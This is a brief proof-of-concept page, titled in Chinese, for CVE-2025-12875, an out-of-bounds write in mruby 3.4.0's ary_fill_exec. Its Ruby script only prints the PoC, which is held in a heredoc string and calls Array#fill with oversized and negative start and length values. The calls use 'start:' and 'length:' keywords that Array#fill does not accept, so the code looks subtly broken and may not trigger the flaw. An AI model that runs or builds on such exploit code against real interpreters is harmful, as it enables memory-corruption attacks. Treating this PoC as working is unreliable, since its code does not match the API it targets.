CVE-2025-12875: mruby 3.4.0 ary_fill_exec函数越界写入漏洞

# CVE-2025-12875 PoC - mruby array fill out-of-bounds write # Target: mruby 3.4.0 # Vulnerability: ary_fill_exec function in mrbgems/mruby-array-ext/src/array.c # PoC demonstrating out-of-bounds write via array#fill with manipulated start/length poc_code = <<~RUBY # Create an array with limited size arr = [0, 1, 2, 3, 4] # Attempt to trigger OOB write by using large start/length values # This should cause ary_fill_exec to write beyond allocated memory begin arr.fill(100, start: 1000, length: 10000) rescue => e puts "Error: #{e.message}" end # Alternative PoC - negative start value manipulation arr2 = [1, 2, 3] arr2.fill(99, start: -100, length: 50) RUBY puts "CVE-2025-12875 mruby OOB Write PoC" puts "=" * 50 puts poc_code